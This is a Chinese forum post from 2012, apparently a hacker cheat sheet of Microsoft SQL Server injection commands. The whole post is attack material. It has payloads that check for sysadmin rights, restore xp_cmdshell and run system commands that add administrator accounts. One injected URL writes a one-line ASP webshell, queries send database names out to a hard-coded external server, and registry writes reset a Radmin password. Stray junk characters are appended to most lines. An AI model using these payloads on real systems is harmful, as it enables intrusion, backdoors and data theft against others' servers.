找回密码
 立即注册
查看: 2298|回复: 0
打印 上一主题 下一主题

常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:40:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
//看看是什么权限的
# u* ^5 D, G4 R. }- \and 1=(Select IS_MEMBER('db_owner'))
+ o: a+ k2 x* }And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--+ x3 j8 i& g  u5 V, E

4 {, U0 e: X& ]2 P//检测是否有读取某数据库的权限
; h  f7 y+ {. t& I, {% dand 1= (Select HAS_DBACCESS('master'))
% _# Z. w3 c0 i; g8 x+ HAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --; Q/ z8 L8 e: u% p2 n1 m5 W

' {3 u* s3 E+ Q- ~; `2 E
6 O6 ?& G: M# z; J$ e数字类型7 @; V$ ~" A. f+ R$ M4 r. `
and char(124)%2Buser%2Bchar(124)=08 i5 l) I' A' f

5 }2 [7 B5 `0 S# _4 y4 a字符类型' D6 o+ c- M3 K! P3 l% y
' and char(124)%2Buser%2Bchar(124)=0 and ''='$ [, a  D9 O; [* t

; J2 f6 d% [" L/ u搜索类型
* p- t8 W( ~( `; L! O8 {' and char(124)%2Buser%2Bchar(124)=0 and '%'=', W/ p/ K: q8 O  {. D
) a4 K4 o+ j6 e- ^, ]7 j
爆用户名
! Y  _+ P* A4 i) [2 B: ?8 _( [+ q% Nand user>0
% [2 s9 [+ u& N" v+ \3 @' and user>0 and ''='
3 Z% O  Z/ S! x6 z8 {' }0 [- N! `4 h! B* k- A; F% S! L
检测是否为SA权限
6 a2 @' l. Q: g( Sand 1=(select IS_SRVROLEMEMBER('sysadmin'));--% A8 J+ E$ }( X
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --, I7 K: }* ^" m% \
. y, _! X) }, g4 w9 @6 U- R2 ~
检测是不是MSSQL数据库
9 f  s( y, F% F% X1 [2 \9 e& }and exists (select * from sysobjects);--+ ^  ~) k$ C" W
. f! S8 I: X8 v* y5 |
检测是否支持多行
/ D  i: j- V4 l4 {# R# F;declare @d int;--
7 q0 D  O( j$ r1 _9 W. g1 I  x# y, g/ L) Q
恢复 xp_cmdshell& c! ?. C4 F: e3 l! ?; ], A
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--+ w. T* V8 v2 w1 }( {- G
" M- G, j- x& x( E, H7 N5 L
$ j- H! t: q; Z1 d4 }: ~3 {
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')- J- B5 {" D2 w- n9 m0 c
+ K/ F5 U1 K% [/ N' Z* w2 L: U7 J) I
//-----------------------
4 N( [' x4 m  O//       执行命令
6 W( ?2 b5 R! {+ g/ ]//-----------------------
* ~7 a# }! b% F4 Q. {" }首先开启沙盘模式:
; n+ p* b" @5 p( V& Oexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',14 H7 q: h2 Y* e

  \: t) S0 N' ]3 ~2 W然后利用jet.oledb执行系统命令
% x: C8 @9 F# R0 Zselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')( I4 U1 }$ A$ e% `8 d% P

4 K$ {0 f; d7 }3 t. Y5 j执行命令$ |8 s& c; N1 v# x7 b- \
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
/ B* ]7 a# A" o/ {! @
6 L( m: ]2 b0 B0 ^2 Z# _EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'; u9 y) I$ S- O

3 k( D0 ^& r2 G0 w2 h! W判断xp_cmdshell扩展存储过程是否存在:3 r! t8 O4 Z6 g  T4 k
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
" T9 I3 @( H8 d7 t, @
2 }2 {/ _! m. ~9 `9 T8 ^$ F写注册表8 d8 w1 l3 R+ X) g* k9 g% _5 ?
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1. m) h* z$ p, t% J/ D+ z5 |" f

9 R( i/ l' `9 I3 b3 LREG_SZ+ ]  Z$ z, M; u  h8 f7 Z& Z
$ l, \0 v: P7 g% `5 g( Z
读注册表
# F" p5 _" N/ M) ^2 d* Yexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
; z: `+ {# b) ?) u8 t$ C8 {, P9 G! E2 }6 ?2 z
读取目录内容
2 U; `' x4 v$ e$ Iexec master..xp_dirtree 'c:\winnt\system32\',1,1
( e2 J# V+ g) ~3 p$ y8 r5 \! A6 @; D0 R% v) l

$ A* D6 {* D5 M% T% S2 W数据库备份7 E' \- J/ y7 Q# M8 H" g
backup database pubs to disk = 'c:\123.bak'
# N- s+ d3 i0 {. F5 z3 r' u1 y& e+ E, H! O9 D) W9 w& D2 J/ n+ p2 h
//爆出长度
2 C) s9 X" L" N9 z# _3 @And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--" x( ~. V  [; j2 ~( ~* U. W1 X0 ~
5 Y% `9 @( x, g

, ^2 P; e( _. [: G/ |7 o+ k, e1 H- M) n; j: ~/ ?
更改sa口令方法:用sql综合利用工具连接后,执行命令:
; g7 L& k& p: ^  V5 rexec sp_password NULL,'新密码','sa'' X& }/ `( P/ N/ y

% c8 n; w! k" Y3 `4 q添加和删除一个SA权限的用户test:* {( F( y. q* p/ v  _, D# r
exec master.dbo.sp_addlogin test,95307726 Y' d: V" s2 h9 e" ~7 M
exec master.dbo.sp_addsrvrolemember test,sysadmin
' `; v3 U6 f& Z% l' X' k- T0 p
$ |1 C% N3 I& ?% t删除扩展存储过过程xp_cmdshell的语句:
) Z1 `4 m4 d$ v" bexec sp_dropextendedproc 'xp_cmdshell'
. G: |$ ?' h9 |; u0 L$ n/ i! M
6 f0 L# l0 ]7 ^' B* K5 f; y添加扩展存储过过程( Y' q" y) l) R' g' x- S
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
6 N5 J0 d1 C1 m, _0 a" `* P" ?* uGRANT exec On xp_proxiedadata TO public
$ v  w. v. g7 r( T) @; l6 K0 A* S: I! y! F" @" E% G0 N0 y$ h
/ z! S1 `- U  D+ Y7 C! ^
停掉或激活某个服务。+ X0 a& s: A, {

( \% C2 N4 `* j1 P- _exec master..xp_servicecontrol 'stop','schedule'% p+ q! M# D  K$ r9 {
exec master..xp_servicecontrol 'start','schedule', u7 ]) ~" B! {4 F

5 Q- T; A  A+ ?6 {7 L+ B* Odbo.xp_subdirs3 R- q) G$ K% f: M0 o/ u1 y

( Y5 C3 b9 T+ D1 j6 E只列某个目录下的子目录。+ V# H8 {! H3 v+ C8 ~' P
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
9 _4 e8 l" @  B) `
0 r" a' d/ b6 R4 Adbo.xp_makecab
; q7 }- {% i: r+ A. V
9 T1 ]# ?+ z' `  U  _将目标多个档案压缩到某个目标档案之内。$ W$ M8 l9 O) R5 Z+ A5 x
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
- _+ K6 \. `% o. F1 G. q
1 q; i: D% e  d' m7 u. Hdbo.xp_makecab
+ v, b4 A! P9 d+ w# n'c:\test.cab','mszip',1,: S  K8 k8 r7 Y! a+ s. p
'C:\Inetpub\wwwroot\SQLInject\login.asp',
) T. F; e6 t5 ?9 v, D3 {/ r'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'# Z: _! B9 ?% |0 c9 V& z
: I1 L! F# @; T" y9 M
xp_terminate_process
( w6 B# O+ d  u8 K# P! N  ~; \# k5 G. f9 Q  K$ J
停掉某个执行中的程序,但赋予的参数是 Process ID。
* F5 v: b5 p7 E利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
5 G1 a/ L" T/ A
5 d! u( f, t) k5 dxp_terminate_process 2484- g: G: z+ p4 x2 b( D6 F

3 E- U: t; s6 r- `5 y9 Wxp_unpackcab7 J$ R9 s# ^& z7 O4 t* H& [0 ]5 w, s* a
" l* a9 s* U: f
解开压缩档。. L" J* O0 ^* f# u  x
, h; ]* n5 S1 z, L' G
xp_unpackcab 'c:\test.cab','c:\temp',1% L' P' F, P* S; \
' K2 r5 M3 k. A1 e5 F0 }# C7 ?
% G' B, E3 l  W! u$ F
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234$ F- |2 [& j' I7 [; y$ w

; J  I8 g, w9 h. ]create database lcx;$ W# p0 C0 z- Q0 X8 ]6 f
Create TABLE ku(name nvarchar(256) null);: q) v/ U7 e2 |( d- u8 |
Create TABLE biao(id int NULL,name nvarchar(256) null);
9 j0 l" C. ?+ _2 ]+ M1 a' B2 Z. m& p' X2 n4 f% }+ Y* G
//得到数据库名
9 l* O& M0 ]' B. b. z) k5 ~insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
, d, _* B6 L7 U# C/ |) `- i3 X0 y
1 j+ N* W4 A$ ~% Q' D& f* y1 x* Q0 n0 u
//在Master中创建表,看看权限怎样
- m1 B' \  J( I) g$ DCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
7 W; |2 a$ T; }' ?* L+ ]0 A# G+ C8 Q$ Q, @2 D0 n" X$ M- K
用 sp_makewebtask直接在web目录里写入一句话马:! G# V9 k' X5 _& o6 R* ]- t! c+ {0 a* B% z
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
4 q( S% e0 j: [' j1 L9 b% w2 |8 G2 k8 x- B  b+ V
//更新表内容7 q4 T0 z! C2 S. f0 h0 A4 J
Update films SET kind = 'Dramatic' Where id = 123
9 _* W( l9 z, k9 u$ P- z$ u, {+ w( {6 o5 J* j
//删除内容
6 |2 b3 ^! r: X" i8 i5 i! Jdelete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表